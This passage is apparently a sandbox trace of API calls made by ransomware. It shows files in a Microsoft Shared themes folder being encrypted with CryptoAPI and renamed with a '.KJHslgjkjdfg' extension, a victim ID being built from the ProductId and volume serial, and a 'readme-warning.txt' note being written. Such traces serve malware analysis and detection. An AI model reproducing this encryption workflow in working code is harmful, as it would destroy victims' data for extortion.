shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.863] GetProcessHeap () returned 0x990000 [0171.863] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.863] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.863] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.864] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.871] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.871] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.871] GetProcessHeap () returned 0x990000 [0171.871] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.871] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.871] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.871] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.871] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.872] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.872] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.872] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.872] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.872] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.872] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.872] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.872] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7fc, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x7fc, lpOverlapped=0x0) returned 1 [0171.872] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x800, dwBufLen=0x800 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x800) returned 1 [0171.872] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.872] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x800, lpOverlapped=0x0) returned 1 [0171.873] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.873] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x8d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.873] SetEndOfFile (hFile=0x12c) returned 1 [0171.875] GetProcessHeap () returned 0x990000 [0171.875] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.875] GetProcessHeap () returned 0x990000 [0171.875] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.875] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.kjhslgjkjdfg")) returned 1 [0171.876] CloseHandle (hObject=0x12c) returned 1 [0171.876] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0171.876] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.876] GetProcessHeap () returned 0x990000 [0171.876] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.876] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.876] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.876] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xb, lpOverlapped=0x0) returned 1 [0171.878] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.878] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.878] GetProcessHeap () returned 0x990000 [0171.878] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.878] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.878] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.879] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.879] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.879] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.879] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.879] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.879] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.879] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.879] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.879] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.879] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x74e5, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x74e5, lpOverlapped=0x0) returned 1 [0171.880] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x74f0, dwBufLen=0x74f0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x74f0) returned 1 [0171.880] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.880] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x74f0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x74f0, lpOverlapped=0x0) returned 1 [0171.881] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.881] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x75c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.881] SetEndOfFile (hFile=0x12c) returned 1 [0171.883] GetProcessHeap () returned 0x990000 [0171.883] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.883] GetProcessHeap () returned 0x990000 [0171.883] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.884] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0171.888] CloseHandle (hObject=0x12c) returned 1 [0171.888] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0171.888] GetProcessHeap () returned 0x990000 [0171.888] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.888] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.888] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0171.888] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.888] GetProcessHeap () returned 0x990000 [0171.888] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0171.888] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.888] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0171.888] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.888] GetProcessHeap () returned 0x990000 [0171.888] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f99f0 [0171.888] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.888] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f99f0, pdwDataLen=0x29dee20 | out: pbData=0x9f99f0, pdwDataLen=0x29dee20) returned 1 [0171.888] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.889] GetProcessHeap () returned 0x990000 [0171.889] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0171.889] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.889] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0171.889] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.889] GetProcessHeap () returned 0x990000 [0171.889] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0171.889] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.889] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0171.889] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.889] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0171.889] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0171.889] RegCloseKey (hKey=0x12c) returned 0x0 [0171.889] GetProcessHeap () returned 0x990000 [0171.889] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0171.889] GetProcessHeap () returned 0x990000 [0171.889] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0171.889] GetProcessHeap () returned 0x990000 [0171.889] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0171.889] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.889] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0171.890] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.890] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0171.890] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0171.890] GetProcessHeap () returned 0x990000 [0171.890] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0171.890] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0171.890] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0171.890] GetProcessHeap () returned 0x990000 [0171.890] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0171.890] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\readme-warning.txt") returned 83 [0171.890] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.894] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0171.895] CloseHandle (hObject=0x12c) returned 1 [0171.900] GetProcessHeap () returned 0x990000 [0171.900] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f99f0 | out: hHeap=0x990000) returned 1 [0171.900] GetProcessHeap () returned 0x990000 [0171.900] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0171.901] GetProcessHeap () returned 0x990000 [0171.901] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0171.901] GetProcessHeap () returned 0x990000 [0171.901] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.901] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0171.901] GetProcessHeap () returned 0x990000 [0171.901] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0171.901] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0171.901] GetProcessHeap () returned 0x990000 [0171.901] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x90) returned 0x9b0940 [0171.901] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0171.904] GetProcessHeap () returned 0x990000 [0171.904] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0171.904] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0171.904] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1 [0171.904] GetProcessHeap () returned 0x990000 [0171.904] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x292) returned 0x9b1eb0 [0171.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.904] GetProcessHeap () returned 0x990000 [0171.904] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.904] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.904] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.905] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xc, lpOverlapped=0x0) returned 1 [0171.907] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.907] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.907] GetProcessHeap () returned 0x990000 [0171.907] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.907] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.907] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.907] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.908] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.908] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.908] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.908] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.908] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.908] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.908] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.908] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.908] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xba44, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xba44, lpOverlapped=0x0) returned 1 [0171.910] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xba50, 